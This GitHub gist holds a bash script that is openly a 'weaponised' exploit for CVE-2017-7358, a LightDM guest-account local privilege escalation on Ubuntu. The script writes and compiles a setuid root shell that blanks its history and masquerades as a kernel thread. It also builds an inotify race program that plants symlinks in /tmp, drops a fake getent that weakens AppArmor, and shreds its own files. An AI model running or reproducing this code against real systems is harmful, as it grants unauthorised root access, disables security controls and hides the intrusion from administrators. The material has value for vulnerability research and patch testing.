Skip to content

Instantly share code, notes, and snippets.

@bcoles
Created September 19, 2018 08:36
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save bcoles/88ac1e658980f6e3114bad4c1f76c662 to your computer and use it in GitHub Desktop.
Save bcoles/88ac1e658980f6e3114bad4c1f76c662 to your computer and use it in GitHub Desktop.
Ubuntu LightDM Guest Account Local Privilege Escalation (CVE-2017-7358)
#!/bin/bash
# Ubuntu LightDM Guest Account Local Privilege Escalation (CVE-2017-7358)
# ---
# Usage: ./lightpwn
# A LightDM session is required. Exploitation will lock the current session,
# and could take several minutes. It usually takes about a minute.
# When the screen stops flashing, unlock the session and run: /bin/subash
# ---
# There's nothing new or special about this exploit.
# It's simply a slightly more weaponised version of the original PoC,
# with some rudimentary error handling, packed into a single file.
# There are some bugs. Sometimes exploitation will get stuck in the
# guest session, requiring logout and restarting the exploit.
# ---
# Original discovery and PoC by G. Geshev (@munmap):
# https://blogs.securiteam.com/index.php/archives/3134
# ---
# ~ bcoles
EXP_HOME="/var/tmp/kodek"
command_exists () {
command -v "$1" >/dev/null 2&>/dev/null
}
check_root () {
if [ "$(/usr/bin/id -u)" == "0" ]; then
echo "[!] You are already root"
exit 1
fi
}
command_exists () {
command -v "$1" >/dev/null 2&>/dev/null
}
check_env () {
if [ "${PWD}" != "${EXP_HOME}" ]; then
echo "[!] run me from ${EXP_HOME}"
exit 1
fi
if ! command_exists lightdm ; then
echo "[!] lightdm is not installed"
exit 1
fi
if ! command_exists gcc ; then
echo "[!] gcc is not installed"
exit 1
fi
}
check_seats () {
SEATS=$(dm-tool list-seats)
if [[ ! "${SEATS}" =~ "CanSwitch=true" || ! "${SEATS}" =~ "HasGuestAccount=true" ]]; then
echo "[!] Switch to guest account not permitted"
exit 1
fi
}
prepare () {
/usr/bin/killall -9 /var/tmp/boc >/dev/null 2>&1
/usr/bin/killall -9 boc >/dev/null 2>&1
/bin/sleep 3s
/usr/bin/shred -fu /var/tmp/run.sh /var/tmp/shell /var/tmp/boc >/dev/null 2>&1
/usr/bin/gcc boclocal.c -Wall -s -o /var/tmp/boc
/usr/bin/gcc shell.c -Wall -s -o /var/tmp/shell
/bin/cp "${EXP_HOME}/run.sh" /var/tmp/run.sh
/var/tmp/boc &
}
switch () {
/bin/sleep 5s
XDG_SEAT_PATH="/org/freedesktop/DisplayManager/Seat0" /usr/bin/dm-tool lock
XDG_SEAT_PATH="/org/freedesktop/DisplayManager/Seat0" /usr/bin/dm-tool switch-to-guest
}
write_files () {
# bin/cat
mkdir -p "${EXP_HOME}/bin"
/bin/cat << EOF > $EXP_HOME/bin/cat
#!/bin/sh
/usr/bin/systemd-run --user /var/tmp/run.sh
/bin/sleep 15s
/bin/loginctl terminate-session \`/bin/loginctl session-status | /usr/bin/head -1 | /usr/bin/awk '{ print \$1 }'\`
EOF
/bin/chmod +x "${EXP_HOME}/bin/cat"
# run.sh
/bin/cat << EOF > $EXP_HOME/run.sh
/bin/cat << EOF_GETENT > /usr/local/sbin/getent
#!/bin/bash
/bin/cp /var/tmp/shell /bin/subash >/dev/null 2>&1
/bin/chmod 4111 /bin/subash >/dev/null 2>&1
COUNTER=0
while [ \\\$COUNTER -lt 10 ]; do
/bin/umount -lf /usr/local/sbin/ >/dev/null 2>&1
let COUNTER=COUNTER+1
done
/bin/sed -i 's/\/usr\/lib\/lightdm\/lightdm-guest-session {/\/usr\/lib\/lightdm\/lightdm-guest-session flags=(complain) {/g' /etc/apparmor.d/lightdm-guest-session >/dev/null 2>&1
/sbin/apparmor_parser -r /etc/apparmor.d/lightdm-guest-session >/dev/null 2>&1
/usr/bin/getent passwd "\\\$2"
EOF_GETENT
/bin/chmod 755 /usr/local/sbin/getent >/dev/null 2>&1
EOF
/bin/chmod +x "${EXP_HOME}/run.sh"
# shell.c
/bin/cat << EOF > $EXP_HOME/shell.c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <grp.h>
int main(void)
{
setresuid(0, 0, 0);
setresgid(0, 0, 0);
setgroups(0, NULL);
putenv("HISTFILE=/dev/null");
execl("/bin/bash", "[bioset]", "-pi", NULL);
return 0;
}
EOF
# boclocal.c
/bin/cat << EOF > $EXP_HOME/boclocal.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <ctype.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <pwd.h>
#define EVENT_SIZE 512
#define EVENT_BUF_LEN 1024 * (EVENT_SIZE + 16)
int main(void) {
struct stat info;
struct passwd * pw;
struct inotify_event * event;
pw = getpwnam("root");
if (pw == NULL) exit(0);
char newpath[20] = "old.";
int length = 0, i, fd, wd, count1 = 0, count2 = 0;
int a, b, c;
char buffer[EVENT_BUF_LEN];
fd = inotify_init();
if (fd < 0) exit(0);
wd = inotify_add_watch(fd, "/tmp/", IN_CREATE | IN_MOVED_FROM);
if (wd < 0) exit(0);
chdir("/tmp/");
while (1) {
length = read(fd, buffer, EVENT_BUF_LEN);
if (length > 0) {
event = (struct inotify_event * ) buffer;
if (event -> len) {
if (strstr(event -> name, "guest-") != NULL) {
for (i = 0; event -> name[i] != '\0'; i++) {
event -> name[i] = tolower(event -> name[i]);
}
if (event -> mask & IN_CREATE) mkdir(event -> name, ACCESSPERMS);
if (event -> mask & IN_MOVED_FROM) {
rename(event -> name, strncat(newpath, event -> name, 15));
symlink("/usr/local/sbin/", event -> name);
while (1) {
count1 = count1 + 1;
pw = getpwnam(event -> name);
if (pw != NULL) break;
}
while (1) {
count2 = count2 + 1;
stat("/usr/local/sbin/", & info);
if (info.st_uid == pw -> pw_uid) {
a = unlink(event -> name);
b = mkdir(event -> name, ACCESSPERMS);
c = symlink("${EXP_HOME}/bin/", strncat(event -> name, "/bin", 5));
if (a == 0 && b == 0 && c == 0) {
printf("\n[!] GAME OVER !!!\n[!] count1: %i count2: %i\n[!] w8 1 minute and run /bin/subash\n", count1, count2);
} else {
printf("\n[!] a: %i b: %i c: %i\n[!] exploit failed !!!\n[!] w8 1 minute and run it again\n", a, b, c);
}
system("/bin/rm -rf /tmp/old.*");
inotify_rm_watch(fd, wd);
close(fd);
exit(0);
}
}
}
}
}
}
}
}
EOF
}
main () {
check_root
check_env
check_seats
write_files
prepare
switch
if [[ -f /bin/subash ]] ; then
echo "you are winner!"
/usr/bin/shred -fu $EXP_HOME/shell.c
/usr/bin/shred -fu $EXP_HOME/boclocal.c
exit
else
sleep 3
./pwn
fi
}
main "$@"
@bcoles
Copy link
Author

bcoles commented Sep 19, 2018

Wrote this a while ago. It worked at one time or another. YMMV.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment